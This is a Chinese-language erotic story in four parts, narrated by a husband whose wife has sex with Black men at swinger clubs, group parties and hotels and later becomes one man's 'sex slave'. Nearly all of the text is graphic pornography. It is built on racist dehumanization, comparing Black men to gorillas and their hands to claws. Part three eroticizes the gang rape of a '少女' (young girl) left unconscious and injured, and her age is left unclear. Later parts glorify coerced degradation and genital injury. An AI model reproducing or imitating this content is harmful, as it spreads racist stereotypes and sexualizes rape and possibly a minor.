图片载入中

绿帽老公的疯狂梦想全

特大字】 【大字】 【中字】 【小字

(1)

长久以来,我心里有个十分疯狂的梦想,就是希望看到纤巧的白种女人被高 大的黑种男人压在身下粗鲁地奸淫。在我看来,这样白对黑、纤巧对高大的场景 特别淫荡,非常刺激。

我是一个普通身材的白种男人,非常幸运,我遇到了一个非常漂亮的白种女 人,她身材纤巧、一头红发。我们很快坠入爱河,然后结婚。婚后,我们不仅是 恩爱夫妻,而且是知心朋友。

我那性感漂亮的妻子身高只有1﹒55米,体重大约42公斤。婚后的幸福 生活和轻松惬意的工作让她一直保持着诱人的身材:34b+,23,34。

在我们结婚之前,我和妻子都曾有过一次不成功的婚姻;所以,我们都很珍 惜我们之间的感情。婚后多年,我们感情稳定,相互非常信任。慢慢的,我开始 让妻子和我一起观赏高大的黑种男人奸淫纤小的白种女人的影碟。

我们两人都感觉这样的场景非常淫荡刺激,我们会在不知不觉中随着影碟情 节的进程疯狂地做爱,随后的性高潮也是前所未有的强烈。

我时常会给妻子买些性感暴露的衣服,并让她穿着这样的衣服跟我一起去舞 厅跳舞,而我妻子也很愿意展示她性感诱人的身体。有一次,我们去一家夫妻交 友俱乐部跳舞,那是一家非常有名的换偶俱乐部,里面不但有夫妻,还有许多单 身男人去寻找夫妻玩3p。

在跳舞的过程中,我注意到周围有许多夫妻都被我美貌性感的妻子所吸引, 有些男人还会有意无意地用身体触碰我妻子高耸的乳房,或者凸翘的丰臀。以前 我们从来没有来过这样的俱乐部,这里自由淫靡的气氛使我们逐渐疯狂,变得有 些不能自己;于是,我和妻子携手离开这家俱乐部,立即找了一家情人旅馆,在 旅馆房间里彻夜做爱,尽情释放被激发得难以抑制的性欲。

到了下一个周末,我们迫不及待地再一次去那个俱乐部狂欢。在跳舞时,我 指着几个黑种男人让妻子看,那几个高大、健壮的黑人正搂着白种女人,一边跳 舞一边抚摩她们的身体,而那些女人显然十分享受男人们的搂抱和抚摩。

我们跳了一会儿,我让妻子在一边休息,我去吧台取些饮料来喝。在吧台旁 边,我跟几个衣着讲究、身材高大的黑人说,那个女人(我妻子)很喜欢跳舞, 并建议他们去邀请她跳舞。

很快地,我妻子身边就出现了一个彬彬有礼的黑人,他邀请我妻子跟他跳个 舞,而我妻子竟非常愉快地接受了那个陌生男人的邀请。

在舞厅淫靡的气氛和酒精的双重作用下,我妻子显得越来越放松。她惬意地 倚靠在陌生男人的怀里,任凭那个男人挑逗抚摩她的身体。

在几段快节奏的舞曲后,一段舒缓的音乐响起,我妻子在舞池里让那个黑人 紧紧地拥抱着,随着音乐缓慢的节奏摇动着身体。妻子高耸的乳房蹭着男人的肚 子,男人突出的下体顶着妻子的小腹。男人的一双大手在妻子的后背上下摩挲, 然后停在她性感丰腴的屁股上搓揉起来,他的手指甚至压进股沟,在那道迷人的 肉缝里上下摩擦。

我坐在舞池旁边的小桌旁看着妻子和那个男人跳舞,他们相互挑逗的场景刺 激着我的神经,使我下体不由自主地膨胀。

舒缓的音乐仍然在继续,我看到那个黑人的一只手已经伸进了我妻子的衣服 里,另一只手使劲把我妻子的身体紧搂在他的身体上,他那隆起的鸡巴隔着裤子 顶着我妻子的肚子。这时,我妻子的脸上已经显露出淫荡的表情,眼神里充满欲 望,她甚至有意无意地用腹部擦蹭着那个男人顶着她的鸡巴。

一曲结束,我妻子和那个男人相拥着回到我待着的那个桌子旁,我发现妻子 上衣的两个纽扣已经被解开了(当然,她跟我出来跳舞的时候从来不戴乳罩)。

我妻子把她的新朋友介绍给我,我起身和他打了招唿,让他们在桌旁的椅子 上坐下休息,并去吧台为他们拿些饮料。等我回来的时候,那个男人已经坐在我 的椅子上,把我妻子紧紧地搂在怀里,一只手抚摩着她的胸部,另一只在她的大 腿上摸擦着。

又是一曲响起,那个男人迫不及待地把我妻子拉下舞池,他们又一次紧紧地 搂在一起,两个人更加肆无忌惮地相互挑逗着。那男人低头贴在我妻子的脸上, 一边亲吻着她的额头、脖颈,一边在她耳边窃窃私语。

当他们再次回到桌子旁边时,我妻子去了卫生间。这给了我一个机会,于是 我对那个黑人说,我非常喜欢和享受他那样挑逗勾引我那性感漂亮的妻子。

我妻子从卫生间回来了,她伸手递给我一件东西——我的天!竟然是她那件 已经被淫水浸透了的小内裤。就在我妻子刚准备在我身边的椅子上坐下的时候, 那个黑人拍了拍他的大腿,让我妻子坐在那里。我妻子看了我一眼,就毫不犹豫 地坐了上去。

那个男人搂着我的妻子,伸手解开她衬衣最后两个仍然扣着的纽扣,然后把 手伸进去掐揉她的乳房。透过她那薄薄的衣服,我可以看见那只黑色的大手,如 熊掌一般蹂躏着我妻子白皙娇嫩的乳房,玩弄着她那已经翘起的乳头。在他的玩 弄下,我妻子的眼睛里充满淫荡的欲望。

这时,在俱乐部里的每一个角落,都在上演着同样的淫荡闹剧;所以,我不 用担心我们这里会被别人注意到。

随着那个男人挑逗和抚摩,我妻子的喘息越来越重。那个男人一边玩弄着我 妻子的肉体,一边跟我说,他非常羡慕我娶了这么好的女人作妻子,他觉得我是 个非常幸运的男人。我很赞同他的说法,也非常骄傲自己有这样的妻子。他那只 巨大的黑手在我妻子白嫩的大腿上游走,这样的画面真是太刺激了!我的鸡巴不 可遏制地膨胀,我太喜欢这样的场景了!

那个男人继续在我妻子的大腿上抚摩,他的手一会儿伸进她的短裙里,一会 儿抚摩着她纤细的脚踝,接着他在她耳边说着什么,我妻子不好意思地摇着头, 喃喃着:“不……不!”他继续在她耳边低语,我妻子转头看看我,再转向他, 然后慢慢地分开自己的膝盖,向他敞开自己红嫩湿润的阴户。

我不想阻止他们。他更大地分开她的双腿,伸手搓揉她那敏感的阴户。她的 阴蒂充血膨胀,她在他的刺激下轻声呻吟着。他分开她的阴唇,把一根粗大的黑 手指深深插入她的阴道并来回抽插着。

看着自己美丽的妻子被粗鲁地指奸,看着她欲破衫而出的突起的乳头,看着 她的头向后仰着,把自己娇嫩的阴道向一个陌生的男人大大地敞开着,我知道我 长久以来的疯狂至极的梦想就要实现了!

就在妻子被那个男人玩弄得浑身颤抖,高潮频发的时候,我的鸡巴在裤子里 猛烈地喷发了!这是第一次我在没有抚摩自己阴茎的情况下射精,而且射得如此 有力,如此舒畅!

(2)

我真的不敢相信,我就这样坐在那里,坐在人群熙攘的换偶俱乐部里,眼睁 睁看着自己的妻子被一个素不相识的男人肆意玩弄着。

我的妻子──美丽、羞怯、性感的妻子,她就这样裸着下身坐在那个黑人的 膝盖上,任凭他玩弄自己美丽迷人、白皙娇嫩的身体。那个男人掀开她的衬衫, 吸吮、搓揉她的乳房,并命令她张开大腿,把她的羞处彻底暴露在他的面前。

男人玩弄着曾经由我独占的娇嫩阴户,粗黑的手指粗鲁地抽插着妻子仍然紧 密的阴道。妻子在他的玩弄中体验着前所未有的高潮,而我则在他的玩弄中实现 了多年来梦寐以求的疯狂梦想──白嫩、娇媚的妻子在我的眼皮底下生生被高大 粗壮的黑人玩弄!

黑人抱着我妻子的屁股玩弄了一会儿后,又在她的耳边低声说着什么。妻子 听了他的话,微微一笑,然后转头看着我大声说,她要跟着那个黑人离开这里。

我的心狂跳起来,我相信,在我周围五米范围内的人都听到我妻子对我说的 话。我跳起身,迅速收拾好我们的东西,跟在他们身后离开这个俱乐部。

那个黑人搂着我妻子向出口走去,舞厅里所有的人都在注视着他们,他们的 脸上露出诡异的笑容,因为所有的人心里都很清楚,在这个晚上,我妻子将会像 一个淫荡的妓女一样被这个黑大汉肆意奸淫、蹂躏。

妻子的衬衫依旧敞开着,露着肚脐和大半个乳房。黑人的手仍然在妻子的后 背和屁股上抚摩、搓揉,向所有注视着他们的人无声地讲述着他们的淫情。

来到停车场,那个黑人说他要乘我们的车一起去旅馆开房狂欢。我打开后车 门让妻子上车,然后抑制着狂跳的心看着那个男人挤进后座,跟我妻子紧紧地挤 坐在一起。我现在该怎么办?没别的办法,只能转到车前,坐进驾驶座,充当他 们的司机。

在去旅馆的路上,我不断的从后视镜偷看他们。只见那个男人把他那一双巨 大的黑爪伸进我妻子没有扣好纽扣的衬衫里面,肆意搓揉、掐弄她的乳房,又拽 出乳头用牙齿啃咬。

在他一番折腾下,我妻子的衣服从肩头滑落,整个白嫩的上半身完全暴露在 这个黑大汉面前,而且,车外的行人从车窗外也完全可以看到妻子赤裸的上身。

这时,我妻子已经顾不上自己的身体是否被别人看到,她的头紧靠着车座靠 背,一边呻吟着,一边扭动着她的头,任凭那个男人的手掌、手指和嘴唇在她身 体的各个部位蹂躏着她。

……

到了旅馆,我停好车,下车打开后门让他们下来。我妻子试图将衬衫纽扣扣 起来,但是那个男人按住她的手,只让她穿起衣服,胡乱扣了两个纽扣,然后就 拉着她的手,带她穿过旅馆大堂,走上楼梯。

我跟在他们身后,手里拎着妻子的外套和一兜饮料。到了房间,我静静地坐 在一个角落,神情恍惚地看着自己的妻子即将接受生命中第一根黑鸡巴的奸淫。

妻子站在那里,任由那个黑人慢慢脱光她的衣服,两只手在她白皙纤巧的身 体上抚摩、搓揉,而她这样娇嫩的身子在一小时前还只能由我一个享用。妻子按 照黑人的命令向前匍匐着身体,张开大腿,把阴毛丛生的阴户向他敞开。

黑人站在我妻子的身后,先用一根手指,然后是两根手指,在我妻子的阴道 里抽插、摸索,直到找到她的g点。然后,黑人把两根手指插进她的阴道,大拇 指搓揉着她突起的阴蒂,把她带上快乐的顶峰。然后,黑人让我妻子躺下,身体 保持“大”字形不动,他起身开始脱掉自己的衣服。

当黑人最后脱掉他的短裤,露出巨大坚硬的黑鸡巴时,我的心脏几乎停止了 跳动。那根鸡巴真是太大了,黑红的龟头像个大鸭蛋,跟我小臂差不多长的阴茎 体上青筋突兀,十分狰狞,我真担心妻子是否能经受得住这根大鸡巴的蹂躏。

这时,黑人回到我妻子身边,埋头在她的乳房上吸吮、啃咬。妻子呻吟着, 摆动着屁股,当黑人巨大的黑鸡巴顶到她的屁股和阴户时,她好象触电般地身体 一纵,不禁坐起身来,面对面地看着那根她从没见过的巨大的黑鸡巴,她生命中 第一根黑鸡巴!

那个黑人站在我妻子面前,把肿胀、坚挺的鸡巴戳在我妻子的脸前,命令她 用小嘴亲吻他的黑鸡巴。妻子低下头,双手紧紧握住面前挺立的黑鸡巴,开始在 他鸡巴的每一寸肌肤上亲吻着。亲着亲着,她伸出舌头舔他的黑鸡巴和黑蛋蛋, 并按照他的指令变换着舔吃鸡巴的方式和方向,她的嘴越舔越深,一直舔到那个 黑人长满阴毛的肛门。

在那个黑人的命令下,我妻子努力地用舌头在他的肛门上划着圈,并且不断 努力将自己的舌头顶进那个黑肛门里。接着,在我的注视下,我妻子张开性感的 小嘴,一口把那个巨大的黑鸡巴吞进去,并且不断努力,尽她的可能把那么粗长 的鸡巴全部含进嘴里。

我的鸡巴就要爆炸了!我需要发泄!我不顾一切地从裤子里掏出我肿胀的鸡 巴,开始对着他们手淫。真是一幅难以想象、难以置信的画面啊,我美丽的妻子 捧着别的男人的粗大鸡巴和沉重睾丸,在我面前贪婪地舔吃着,并且竟然把曾经 被我吸吮的香舌顶进了别的男人的臭屁眼里,而我作为她的丈夫,只能坐在他们 对面摸弄抚慰自己的小鸡巴。我爱死这样的画面了!

那个男人在充分享受了我妻子的口舌服务后,把粗大的黑鸡巴从她的嘴里抽 出来,命令她躺好,准备挨操。

我妻子转了个身,乖乖地躺下,还尽量敞开自己的大腿,亮出自己红嫩湿润 的小穴,等待着男人的进攻。那个男人的动作非常迅猛,就在我还没有看清楚是 怎么回事,他粗大的黑鸡巴已经尽根插进了我妻子的阴道。

接着,他开始了疯狂的抽插,他那黑红的鸡巴上沾满我妻子阴道里的淫液, 抽出插进的过程中不断闪着光亮。妻子的阴唇在他的抽插下不断被顶进拽出,身 体也被他顶撞得前后耸动,巨大的快感让妻子的头左右乱晃,嘴里断断续续地呻 吟着,淫叫着,声音中充满高潮的快乐和被奸的痛苦。

哦!我可爱的妻子,她的小穴已经被那个大过我鸡巴两倍的黑鸡巴凶猛的操 着、干着,她的小嫩穴就要被干爆、操穿了啊!妻子娇嫩的阴道被大黑鸡巴塞得 满满的,她在享受一波又一波快乐的高潮,她已经被这根狰狞的黑色肉棍彻底征 服了,她的淫荡生活从此开始了!

这个巨大的、犹如黑猩猩般的凶猛黑男人,用他那根巨无霸的鸡巴操了我娇 小白嫩的妻子差不多两个小时,用尽了各种方式来蹂躏我妻子的身体。现在,他 感觉有点累了,于是拍了拍我妻子的乳房,转身躺在了床上,依旧坚挺的黑鸡巴 直直地竖立在淫靡的空气中。

我妻子爬起身来,分开自己白皙的秀腿,跨坐在男人的身上,滴荡着淫液的 阴道一下子就把他坚挺的黑鸡巴尽根吞了进去,接着,我妻子赤裸的身体开始在 他那大汗淋漓、油光水亮的身体上起伏耸动。

啊!那场面真像可爱白嫩的白雪公主在驯服一匹狂野的大黑马!黑马在我妻 子的身体里驰骋,我妻子在性欲的高潮中徜徉,不断袭来的性欲高潮让我妻子彻 底疯狂了!

我简直看呆了,我不敢相信,骑在这根巨大黑鸡巴上驰骋的娇小女人,就是 我那曾经万般羞涩的小娇妻?

男人射精了,女人还在驰骋,浊白的精液随着妻子身体上下窜动的动作,顺 着男人仍然肿胀、矗立的黑鸡巴从阴道里流出来,沿着黑鸡巴流到黑睾丸上,又 流到黑肛门上……

(3)

写到这里,还忘记告诉大家我们夫妻的名字。我那可爱性感、情欲勃发的小 娇妻叫凯伊,我叫罗伯特。我现在继续讲述我们的故事,希望大家喜欢。

在接下来的几个月里,只要有可能,我们都会在周末造访那个换偶俱乐部。

如果我们计划在周末去俱乐部玩的话,凯伊在一周的时间里都会表现得很兴 奋、很期待,并且早早地就在为参加周末之夜的快乐活动做准备。我也会积极帮 助她做准备,对她的穿着提出很好的建议。

我最喜欢她穿着那些纯白透明的薄衬衫,这样,在夜晚霓虹灯的照耀下,隔 着衣服,人们就可以很清楚地看到她那突起的粉红小乳头;我还喜欢她穿着很短 的黑色迷你裙,因为人们可以轻易从短裙下面看到她黑色的吊袜带,看到她窄小 的黑色小内裤,甚至可以看到那些暴露出小内裤的棕色阴毛和红嫩阴唇。当然, 我们每次出去狂欢,她一定是不戴胸罩的。

每逢我们计划好周末出游,凯伊都会在周四就订好旅馆的房间,以方便她和 别的男人过夜狂欢。周五的时候,她会仔细地用鲜艳性感的指甲油涂抹她的指甲 和趾甲。

在周六的夜晚来临之前,她会早早地就进入浴室,点燃几根红烛,用很热的 水长时间冲洗自己的身体,并让我帮她擦洗后背、大腿、脚丫和手臂;洗浴后, 她会给自己白皙的身体上喷洒名贵的香水,仔细修剪阴毛,刮光腿毛。

我美丽的妻子就这样精心准备着她的身体,准备把她娇小性感的身体完美无 瑕地奉献给她遇到的任何一个陌生的男人,特别是那些高大、粗壮的黑种男人。

而我作为她的丈夫,竟在认真、热情地帮助她做着这样的准备。

只有一点让我觉得稍微有点不爽的是,凯伊会从周四开始就拒绝和我做爱, 她总是说她要养精蓄锐、储备体能以迎接周末的性交盛宴;而且,她要保持自己 身体的洁净,希望自己的嘴巴、阴道和肛门都没有受到我的精液的污染,身体上 没有我的汗水,以便让那些周末情人们可以毫无遗憾地享用她的纯洁的身体,她 想把自己从里到外完整地献给周末里那些想奸淫她的任何男人。

这样一来,其实我就很少有机会和她做爱了。因为周末狂欢后,她在周一、 周二一般都需要休息,而周四又不允许我碰她,留给我的只有可怜的周三一天, 而就那一天往往又会因一些不确定的事情所干扰,结果是我经常一个月也没机会 亲近她一次,只好在观看她被别的男人肆意奸淫时,用手淫的方式释放自己的欲 望。

但我并不抱怨,我喜欢这样的生活,喜欢我的妻子快乐,她的快乐就是我的 快乐!

几乎所有的周六夜晚,我的小娇妻都会在俱乐部舞厅的中央翩翩起舞,吸引 她周围许多的单身黑人纷纷争相献宠,希望得到她的青睐,能够有机会玩弄蹂躏 她那为他们精心准备的肉体。每当舞厅响起舒缓的舞曲,我妻子都会手拉一个黑 人大汉来到我的桌子旁,问我是否同意她和那个黑人跳上一曲。她从来都不会拒 绝那些邀请她的男人们,当然我也不想扫他们的兴。

整个夜晚,我对俱乐部里其他任何人都没有兴趣,全部的注意力都放在我那 美丽性感的妻子身上。我的目光追随着她舞动的身影,如果舞池里其他相拥着跳 舞的男女挡住了我的视线,我就会离开座位,绕过人群去寻找我的妻子,直到看 见她和她的舞伴的身影。

我无法解释,我为什么会如此乐此不疲地看着自己的妻子被高大的黑种男人 搂抱着、搓揉着、挑逗着、猥亵着,我怎么会从中得到这么巨大的心理满足呢?

我真的搞不懂。看着妻子娇小的身子被高大威猛的黑人搂在怀里肆意搓揉, 我感觉那是我生命中最大的享受,我想,那也一定是我妻子生命中最大的享受。

有一天,我在网络发现有一群人正在组织一个“黑白条斑马”聚会——黑种 男人群聚奸淫白种女人的聚会。

我们夫妻从来没有参加过类似的聚会,所以我感觉非常兴奋和向往。我把这 个消息告诉了凯伊,她也表示了极大的兴趣。她说她还从来没有亲眼见过黑种男 人奸淫别的白种女人的场景,她非常希望参加这样的聚会,去亲眼看看那到底是 一种怎么样的疯狂。于是,我联系了那些人,并收到了他们的邀请。

按照约定,我们准时到达举办聚会的地方。那是一栋二层阁楼式汽车旅馆, 类似公寓式的旅馆,每一层都有卧室。进入旅馆后,我看见大厅里有八、九个黑 种男人或站或坐;还有两个白种女人由她们的丈夫陪着,已经先于我们到达了。

每到一个比较陌生的地方,我妻子总是表现得比较羞涩;所以,我赶忙先去 为她取一杯饮料,我希望可以缓解她不适应的情绪。

等我走进厨房,回头望望,只见站在大厅里显得些不知所措的妻子,已经被 一个高大的黑人热情地搂住了肩膀,他用充满挑逗的神情热情地和她打招唿,并 向她介绍着其他的客人。

看着我妻子娇小的身影消失在那群黑人宽阔的臂膀下面,我的心又开始狂跳 起来。她被那群危险的黑人色狼包围了,但我在偶尔人群缝隙中闪现出来的妻子 的脸上,却看不到害怕,看不到担心,我看到的是灿烂的笑颜。在一番招唿寒暄 中,我妻子被那群黑人中的每个人拥抱、亲吻、搓揉和抚摩,然后,她被其中的 一个黑人带到一边,亲昵地攀谈起来。

过了一会儿,她来到厨房找饮料喝。看到我站在那里,她对我说,那个跟她 攀谈的黑人真是好笑,他有点喝多了,不停地对她动手动脚。说着,她拿着饮料 离开了厨房,马上又被那个黑人搂在了怀里。

这时,一个特别高大、粗壮(后来我了解到,他大约身高1﹒97米、体重 113公斤)的黑人从旅馆大门走进来,他径直走到我妻子面前,一边把她搂在 怀里,一边对她说:“对不起,我来晚了。”

然后,牵着她的小手,带她离开了那个醉汉。

这时,我不知道那个黑人要把我妻子带到哪去,也不知道他会对她做什么?

这个高大的黑种男人,他会把我妻子变成臣服于他那根大黑鸡巴的荡妇和性 奴吗?

我真希望他能做到这一点!可是,这个黑种男人并没有如我想象的那样立即 把我妻子就地正法,他只是把我妻子带到另一张桌子旁,坐在椅子上拥抱着我妻 子的娇小身体亲昵地攀谈着,他们竟然就这样聊了差不多一个小时。然后,那个 黑人拉着我妻子的手,他们一起上了二楼,走进了楼上的一个卧室。在他们进去 之前,那里已经传出了一些很暧昧的声响。

我赶紧起身,跟着我妻子和那个黑人上了楼。我站在那个卧室门口,看到我 妻子被那个黑人紧紧地抱在胸前,他们一起观看着卧室里三个黑人在同心协力地 奸淫着一个矮小的白种少女。

在卧室里的大床上,三个黑种男人的大鸡巴分别插进了女孩子的嘴、阴道和 肛门,猛烈抽插的动作让那个可怜的小女孩不断地呻吟着。在他们周围,还有几 个黑人挺着肿胀的黑鸡巴,等待着进入女孩子的身体。

轮奸进行了两个多小时,五、六个高大粗壮的黑人轮流在她的嘴里、阴道里 和肛门里射精,她身体的三个孔洞每一处都接受了五、六股粘稠腥臭的精液。

最后,那个女孩子已经被干得晕了过去,她瘫躺在床上,白皙的裸体四仰八 叉,毫无设防。可怜女孩的乳房、大腿和屁股上布满掐痕和咬痕,嘴角挂着点精 液,阴道和肛门都张着口,浊白的精液沾满了几个洞穴的四周,并流到床单上。

凯伊的新朋友——那个抱着她的高大的黑种男人——名字叫邓,他把我妻子 放在大床旁边的桌子上,一边看着几个黑人轮奸那个女孩,一边搓揉玩弄着我妻 子的乳房。邓的玩弄和眼前轮奸场景的刺激,让我妻子的娇小身体燃烧在性欲的 煎熬中,她主动仰起头,把自己的红唇献给邓,并且张开嘴吸吮着邓的舌头。

这时,又有一个黑人走到妻子的身边,伸手掀开妻子的衬衫,又把她迷你短 裙的下摆推到腰部,让她那两条秀丽白皙的双腿暴露无遗,然后用他的一双黑手 在她白嫩的身体上到处乱摸。

我妻子显然很享受这样的亲吻和抚摩,她敞开胸怀,张开双腿,星眼迷离, 娇喘不断,任凭两个黑人的四只黑爪子在她白嫩身体的隐秘部位抚摩、搓揉。

我妻子终偿所愿,她亲眼看到了别的白种女人是怎样被那些高大、威猛的黑 种男人奸淫玩弄的,她情欲勃发,伸出两只手分别向身边两个男人的档部探寻。

她要寻找那能够让她消魂的大肉棒,她希望自己也像那个女孩一样被黑色的 大肉棒轮奸,她也希望自己的阴道、肛门和嘴里都灌满这些黑种男人浓稠的精液。 当然,这也是我最期待的,我好想亲眼看到我娇小的妻子被高大的黑人轮奸,沦 为那些黑色大肉棒的性奴!

可是,不知道那几个男人是因为害怕邓还是刚才的轮奸耗尽了他们的力量和 精液,他们只是围着我妻子抚摩、搓揉她的身体,并没有奸淫她。正当我还在猜 想他们什么时候会扒光妻子的衣服,把她扔在床上奸淫的时候,邓却抱着我妻子 来到我的面前,他告诉我,他要带着我妻子离开这里,到我们订好的旅馆房间去 独自享受我妻子的肉洞。他问我我们订好的旅馆在哪里,我告诉他那个旅馆离这 里不远,只隔了一个街区。我说我可以带他们去那里,邓点点头同意了。

一进旅馆房间,邓立即就扒光了我妻子的衣服,把她按在门边的咖啡桌上, 一双大手在她赤裸的身体上抚摩、搓揉。他打开她的双腿,让她的阴户正对着他 的脸,他亲吻她的阴户,用手指插进她的阴道,用舌头舔弄她的肛门。

然后,他把自己的手指一根、两根、三根、四根,不断地插进她的阴道,再 抽出来,舔吃手指上粘着我妻子的阴道分泌物。我和妻子都有点纳闷,他怎么能 这样不断用手指扩充我妻子的阴道,而不真正的奸淫她呢?

等他脱掉自己的裤子,我们终于明白了,他的鸡巴实在太大了!我和妻子从 来没有见过这样如驴鸡巴一样的物件会吊在人的两腿之间!我那娇小的妻子终于 要领教一根大驴鸡巴的厉害了!

邓手臂一转,很轻易地就把我妻子夹在他的掖下拎到了床边,他把我妻子扔 在床上,将自己身上剩下的衬衫脱掉,巨大的身躯向我妻子压了下去。也许因为 知道自己的鸡巴实在太大了,邓跟我妻子做爱是很温柔地开始的。

他亲吻我妻子的嘴唇,爱抚她的乳房,搓揉她的阴户,用各种手法挑逗我妻 子的情欲,调动我妻子的情绪。别说,这个看似粗莽的黑大汉还真是一个温柔的 情人,一个调情做爱的高手!

看到我妻子已经被他充分调动起来了,邓躺到床上,让我妻子爬到他身上为 他服务。我娇小的妻子趴在他身上,尽量张开嘴给他口交,但也只能将他的龟头 含进去,他的鸡巴真的太大了!邓看我妻子已经到了极限,也就没有再为难她, 他在她嘴里抽动几下,就翻过身子,准备去奸淫、蹂躏她那娇嫩的阴道了。

他从自己扔在床边的上衣口袋里掏出一瓶润滑油,打开盖子,把润滑油抹在 他那根巨大的黑鸡巴上;然后,他拉开我妻子的两条腿,用自己的大鸡巴揉蹭着 我妻子那情欲勃发、急不可待的阴户。

这样的挑逗让我妻子更加心痒屄痒、饥渴难耐,她耸动摇摆自己的屁股,试 图用骚穴抓住那根她盼望已久的大鸡巴。可是邓并不想马上满足我妻子,他用龟 头在我妻子的阴唇上左右蹭着,轻轻的戳进我妻子的阴户,又马上抽出。这样的 挑逗虽然让我妻子感觉不太舒服,但无疑很好地帮助我妻子进一步做好迎接他那 根巨大鸡巴的准备。

终于,邓的大鸡巴缓缓地插进了我妻子的阴道,在她高一声、低一声的呻吟 中,那根大鸡巴终于全部插进了我妻子的体内。啊!我妻子大叫着,她说她被邓 的鸡巴撑爆了,就感觉是分娩时孩子的头卡在阴道口,真的撑死她了!听了妻子 的话,我感觉既激动又震惊,邓的鸡巴也太大了吧!我妻子能受得了吗?

不舒服的感觉慢慢地消失了,代之而起的是越来越强烈的性欲要求和快感, 我妻子呻吟着,让邓大力地抽插她,使她的阴精喷涌而出……

邓不停地操着她,现在她是他的女人,现在他给了她有生以来最大的快乐。

性欲高潮如汹涌的海潮,在她的体内奔涌,一浪高过一浪,她的身体随着体 内的性欲高潮在邓的身体下痉挛、抖动,她的头在床上左摇右晃,好象在用这样 的方法释放她体内的性欲恶魔。

他们一直在做爱,一直在做,好象永远也不想停下来。我妻子用双手紧紧抱 着邓的身体,用阴道紧紧锁住邓的鸡巴,她绝对不想放弃刚刚得到的快乐,她不 允许他的鸡巴从她的身体里抽出来。

邓一边打桩似地拼命抽插着我的妻子,一边开始大声呻吟,他们两个人进入 了摄魂荡魄的高潮时期……

邓从我妻子的身上滚落到床上,两个人都张大了嘴巴拼命喘气。妻子大张着 双腿躺在那里,好象被邓压扁了一样,身体几乎埋在了床单里。她的双腿分得很 开,刚刚被邓奸淫过的阴道张着口,浊白的精液顺着阴道口往外流。他妈的,简 直太淫荡了!在她的身旁,那根刚刚拥有过我妻子红肿阴户的粗大黑鸡巴,在邓 的两腿间微微蠕动,似乎在述说着占有的喜悦。

在我妻子被那根粗大黑鸡巴奸淫、蹂躏的整个过程中,我一边激动地欣赏, 一边忙着用我的数码摄象机记录下这一切。从我妻子神采奕奕的脸上,我看到了 她兴奋、喜悦和淫荡的表情,她那美丽动人的表情我是无法用语言描述出来的。

我知道,我妻子喜欢被黑种男人的大鸡巴奸淫;我也知道,我喜欢看着她被 他们奸淫。

然而,我们这种喜悦的心情也是无法用语言来描述的……

(4)

自从上次我们夫妻参加了“黑白条斑马”聚会后,凯伊已经被黑种男人的大 鸡巴和狂暴凶猛的性交行为彻底征服了。

在那次聚会中,她亲眼目睹五、六个高大、健壮的黑种男人轮奸一个纤巧、 柔弱的白种女人,数次在那个可怜的小女人的阴道、肛门和嘴巴里射进他们那浓 稠腥臭的精液。

她也亲身体验了黑种男人的巨大有力的黑鸡巴,在旅馆的房间里,被被邓肏 得死去活来,彻夜的奸淫让她享受到无数次性欲高潮,她已经完全臣服于邓的淫 威之下,成为那根巨大黑鸡巴的性奴隶。

淫欲之门一旦打开,事情便难以控制。从那次以后的几个月里,我们夫妻的 每个周末就是这样度过,我娇小的妻子被黑种男人的大鸡巴肆意蹂躏,而我则在 一边忍受着心里的屈辱和感官的刺激。

每天我都会收到从我妻子的黑人性主人邓那里发来的电子邮件,告诉我如何 将我的妻子打扮一新,穿上充分展示她的性感身材和容貌的服装,然后在周五的 晚上把她送到他指定的地点去供他随意使用。

每次我将妻子送去的时候,那个黑家伙邓都会在门口迎接她,然后,从那时 起一直到周日的傍晚,我妻子就是那个黑人巨大黑鸡巴下的淫荡贱奴,任由她的 主人蹂躏、糟蹋她那美妙的身体。

在我妻子被那个黑人肆意玩弄奸淫的时候,我常被要求留下来为他们服务, 我得时刻准备好饮料和点心,一旦他们需要就立刻送进去;我还要为他们准备毛 巾、浴液、放好洗澡水,等邓玩弄够了我妻子,我要帮助他们清洗身体,为那个 黑人按摩他因为过度肏弄我妻子而疲惫的身体。每当邓想带着我妻子出门,去找 他的朋友们一起轮奸我妻子的时候,我还要充当他的司机。

让我倍感屈辱和刺激的是,每当他们奸淫肏弄完我的妻子,都要求我把凯伊 粘满他们腥臭精液的身体清理干净,以便他们再次玩弄。我先要把从我妻子阴道 和肛门内流出来的、混合着那些黑人的精液和妻子淫液的腥臭液体舔吃干净,然 后用嘴唇和舌头仔细地按摩我妻子被那些粗大的黑鸡巴肏肿的阴户和肛门,再把 那些黑种男人们射在我妻子肚子上、乳房上、脸颊上、大腿上和脚趾上的精液一 点点舔进嘴里,再咽进肚里。

另外,我妻子也常把那些男人射在她嘴里她吃不完、咽不下的精液再吐到我 的嘴里,并按照那些黑人的命令用嘴唇紧紧盖住我的嘴,不许我把精液吐出来, 直到我把那些令人恶心的腥臭精液全部吞进胃里。

凯伊已经完全被她的性主人──那个高大强壮的黑种男人邓控制和驯服了, 邓在周末对我妻子贪得无厌的日夜肏弄,让我妻子享受到了无尽的高潮。

由于被肏弄得过于频繁,我妻子的阴户和肛门一直红肿着,阴唇因为长时间 过度充血而日益变得又黑又紫,她的阴道被巨大的黑鸡巴撑得已经非常松弛,以 至于我在跟她做爱时,我的阴茎已经感受不到以往那种被她阴道紧握的舒适刺激 的感觉了。

她的肛门也时常大张着口,显然她的括约肌已经被那些日夜奸淫她的大黑鸡 巴给弄伤了。但是凯伊对此好像毫不介意,她从来也没有抱怨过什么,她知道她 现在是邓和他那些黑人朋友们的周末性奴隶和性玩具,她愿意被他们轮奸、虐待 和蹂躏。

又到了一个周末,我按照邓的吩咐把打扮一新的妻子送到邓的家里。这次, 邓先是粗暴地扒光了我妻子衣服,把她娇小的身体压在床上凶猛地肏了一回,然 后就开始对我妻子进行性奴隶的训练。邓命令我妻子赤身裸体跪在他的身前,脸 正对着他那粗大黝黑的鸡巴,然后他指示我的妻子去如何崇拜他的黑鸡巴。

我的妻子先要用她那柔软纤细、白嫩漂亮的小手恭敬着抚摩他的黑鸡巴、黑 阴囊和黑肛门,然后再用嘴唇和舌头去亲吻舔揉他那些丑陋肮脏的部位,我妻子 被要求必须要像敬畏神灵一样去敬畏他那带给她无限痛苦和欢乐的鸡巴。

我在心里暗想,难道自己娇媚性感的娇小妻子就要这样被他们从身体到心灵 彻底占有吗?但是,我并不感到愤怒和嫉妒,极度淫荡的性欲刺激掩盖了我心中 被侮辱的感觉。

